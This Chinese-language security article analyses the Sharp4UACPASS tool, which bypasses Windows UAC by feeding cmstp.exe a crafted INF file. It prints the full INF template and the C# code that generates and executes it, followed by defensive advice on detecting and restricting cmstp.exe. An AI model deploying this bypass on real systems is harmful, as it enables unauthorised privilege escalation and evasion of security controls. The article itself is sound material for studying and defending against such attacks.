Sharp4UACPASS:一款通过调用CMSTP进程绕过UAC的工具
字数 1564 2025-08-22 12:23:24

Sharp4UACPASS:通过CMSTP进程绕过UAC的技术分析与实现

1. 工具概述

Sharp4UACPASS是一款利用Windows系统自带程序cmstp.exe实现UAC(用户账户控制)绕过的工具。该工具通过精心构造的INF配置文件,利用微软签名的合法二进制文件执行任意命令,具有以下特点:

  • 使用微软签名程序cmstp.exe作为载体
  • 通过自定义INF文件实现命令执行
  • 可绕过防病毒和应用白名单监控
  • 适用于渗透测试和红队活动

2. CMSTP技术原理

2.1 CMSTP简介

cmstp.exe是Windows系统中用于安装网络连接配置文件的合法程序,主要用途包括:

  • 部署VPN配置
  • 安装网络连接文件
  • 典型命令格式:cmstp.exe /au "C:\path\to\vpn.inf"

2.2 INF文件结构分析

INF文件是Windows安装配置文件,Sharp4UACPASS利用其特定结构实现命令执行:

[version]部分

[version]
Signature=$chicago$
AdvancedINF=2.5
  • Signature=$chicago$:标准INF文件签名,表示兼容Windows
  • AdvancedINF=2.5:声明使用的高级INF格式版本

[DefaultInstall]部分

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
  • CustomDestination:指向自定义安装位置的逻辑节点
  • RunPreSetupCommands:指定安装前执行的命令节点

[CustInstDestSectionAllUsers]部分

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
  • 49000,49001:逻辑标识符
  • 7:表示共享目录的ID值

[AllUSer_LDIDSection]部分

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
  • 定义注册表修改操作
  • 使用合法文件CMMGR32.EXE作为掩护

[RunPreSetupCommandsSection]部分

[RunPreSetupCommandsSection]
C:\Windows\System32\cmd.exe
taskkill /IM cmstp.exe /F
  • 执行任意命令的关键部分
  • 最后终止cmstp.exe进程释放资源

3. 工具实现细节

3.1 INF模板定义

工具内部定义了INF文件模板字符串:

public static string InfData = "[version]\nSignature=$chicago$\nAdvancedINF=2.5\n \n[DefaultInstall]\nCustomDestination=CustInstDestSectionAllUsers\nRunPreSetupCommands=RunPreSetupCommandsSection\n \n[RunPreSetupCommandsSection]\nREPLACE_COMMAND_LINE\ntaskkill /IM cmstp.exe /F\n \n[CustInstDestSectionAllUsers]\n49000,49001=AllUSer_LDIDSection, 7\n \n[AllUSer_LDIDSection]\n\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%n \n[Strings]\nServiceName=\"VPN\"\nShortSvcName=\"VPN\"\n \n";

关键点:

  • REPLACE_COMMAND_LINE为占位符,将被实际命令替换
  • 包含完整的INF文件结构

3.2 INF文件生成方法

SetInfFile方法负责动态生成INF文件:

public static string SetInfFile(string CommandToExecute)
{
    string value = Path.GetRandomFileName().Split(new char[] { Convert.ToChar(".") })[0];
    string value2 = "C:\\windows\\temp";
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.Append(value2);
    stringBuilder.Append("\\");
    stringBuilder.Append(value);
    stringBuilder.Append(".inf");
    
    StringBuilder stringBuilder2 = new StringBuilder(CMSTPBypass.InfData);
    stringBuilder2.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
    
    File.WriteAllText(stringBuilder.ToString(), stringBuilder2.ToString());
    return stringBuilder.ToString();
}

特点:

  • 随机生成INF文件名
  • 文件保存在C:\windows\temp\目录
  • 替换REPLACE_COMMAND_LINE为实际命令

3.3 命令执行方法

Execute方法实现整个绕过流程:

public static bool Execute(string CommandToExecute)
{
    if (!File.Exists(CMSTPBypass.BinaryPath))
    {
        return false;
    }
    
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.Append(CMSTPBypass.SetInfFile(CommandToExecute));
    
    Process.Start(new ProcessStartInfo(CMSTPBypass.BinaryPath)
    {
        Arguments = "/au " + stringBuilder.ToString(),
        UseShellExecute = false
    });
    
    IntPtr value = 0;
    value = IntPtr.Zero;
    do
    {
        value = CMSTPBypass.SetWindowActive("cmstp");
    } while (value == IntPtr.Zero);
    
    SendKeys.SendWait("{ENTER}");
    return true;
}

执行流程:

  1. 检查cmstp.exe是否存在
  2. 生成包含指定命令的INF文件
  3. /au参数启动cmstp.exe
  4. 等待cmstp窗口激活
  5. 模拟回车键确认操作

4. 防御建议

针对此类攻击,建议采取以下防御措施:

  1. 限制cmstp.exe执行

    • 通过AppLocker或WDAC限制cmstp.exe执行
    • 监控cmstp.exe的异常调用
  2. INF文件监控

    • 监控临时目录下的INF文件创建
    • 分析INF文件内容是否包含可疑命令
  3. 权限管理

    • 最小权限原则,避免日常使用管理员账户
    • 启用UAC最高级别设置
  4. 进程行为监控

    • 监控cmstp.exe启动子进程的行为
    • 特别关注cmstp.exe后接cmd.exe的调用链
  5. 补丁与更新

    • 及时安装Windows安全更新
    • 关注微软相关安全公告

5. 总结

Sharp4UACPASS工具利用Windows系统自带程序cmstp.exe和INF配置文件的特性,实现了隐蔽的UAC绕过。这种技术具有以下优势:

  1. 使用微软签名程序,绕过白名单检测
  2. 不依赖漏洞,利用合法功能实现攻击
  3. 执行过程相对隐蔽,难以被传统AV检测

理解这种技术的原理和实现方式,对于蓝队防御和红队攻击都具有重要意义。防御方可以针对性地加强监控和防护,攻击方则可以在合规测试中验证系统安全性。

Sharp4UACPASS:通过CMSTP进程绕过UAC的技术分析与实现 1. 工具概述 Sharp4UACPASS是一款利用Windows系统自带程序cmstp.exe实现UAC(用户账户控制)绕过的工具。该工具通过精心构造的INF配置文件,利用微软签名的合法二进制文件执行任意命令,具有以下特点: 使用微软签名程序cmstp.exe作为载体 通过自定义INF文件实现命令执行 可绕过防病毒和应用白名单监控 适用于渗透测试和红队活动 2. CMSTP技术原理 2.1 CMSTP简介 cmstp.exe是Windows系统中用于安装网络连接配置文件的合法程序,主要用途包括: 部署VPN配置 安装网络连接文件 典型命令格式: cmstp.exe /au "C:\path\to\vpn.inf" 2.2 INF文件结构分析 INF文件是Windows安装配置文件,Sharp4UACPASS利用其特定结构实现命令执行: [ version ]部分 Signature=$chicago$ :标准INF文件签名,表示兼容Windows AdvancedINF=2.5 :声明使用的高级INF格式版本 [ DefaultInstall ]部分 CustomDestination :指向自定义安装位置的逻辑节点 RunPreSetupCommands :指定安装前执行的命令节点 [ CustInstDestSectionAllUsers ]部分 49000,49001 :逻辑标识符 7 :表示共享目录的ID值 [ AllUSer_ LDIDSection ]部分 定义注册表修改操作 使用合法文件CMMGR32.EXE作为掩护 [ RunPreSetupCommandsSection ]部分 执行任意命令的关键部分 最后终止cmstp.exe进程释放资源 3. 工具实现细节 3.1 INF模板定义 工具内部定义了INF文件模板字符串: 关键点: REPLACE_COMMAND_LINE 为占位符,将被实际命令替换 包含完整的INF文件结构 3.2 INF文件生成方法 SetInfFile 方法负责动态生成INF文件: 特点: 随机生成INF文件名 文件保存在 C:\windows\temp\ 目录 替换 REPLACE_COMMAND_LINE 为实际命令 3.3 命令执行方法 Execute 方法实现整个绕过流程: 执行流程: 检查cmstp.exe是否存在 生成包含指定命令的INF文件 以 /au 参数启动cmstp.exe 等待cmstp窗口激活 模拟回车键确认操作 4. 防御建议 针对此类攻击,建议采取以下防御措施: 限制cmstp.exe执行 : 通过AppLocker或WDAC限制cmstp.exe执行 监控cmstp.exe的异常调用 INF文件监控 : 监控临时目录下的INF文件创建 分析INF文件内容是否包含可疑命令 权限管理 : 最小权限原则,避免日常使用管理员账户 启用UAC最高级别设置 进程行为监控 : 监控cmstp.exe启动子进程的行为 特别关注cmstp.exe后接cmd.exe的调用链 补丁与更新 : 及时安装Windows安全更新 关注微软相关安全公告 5. 总结 Sharp4UACPASS工具利用Windows系统自带程序cmstp.exe和INF配置文件的特性,实现了隐蔽的UAC绕过。这种技术具有以下优势: 使用微软签名程序,绕过白名单检测 不依赖漏洞,利用合法功能实现攻击 执行过程相对隐蔽,难以被传统AV检测 理解这种技术的原理和实现方式,对于蓝队防御和红队攻击都具有重要意义。防御方可以针对性地加强监控和防护,攻击方则可以在合规测试中验证系统安全性。